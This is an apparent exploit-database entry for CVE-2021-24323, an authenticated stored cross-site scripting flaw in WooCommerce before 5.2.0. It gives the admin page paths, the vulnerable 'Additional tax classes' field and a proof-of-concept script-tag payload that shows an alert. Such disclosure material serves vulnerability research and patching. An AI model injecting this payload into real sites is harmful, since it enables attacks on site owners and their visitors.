Exploit for Woocommerce < 5.2.0 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24323

Name: Exploit for Woocommerce < 5.2.0 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24323
Rating: 5 (133 reviews)

2021-04-21 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:6D262555-7AE4-4E36-ADD6-4BAA34DC3010
Enable taxes (/wp-admin/admin.php?page=wc-settings&tab=general), then put the payload below in the "Additional tax classes" field (/wp-admin/admin.php?page=wc-settings&tab=tax)

<script>alert(/XSS/)</script>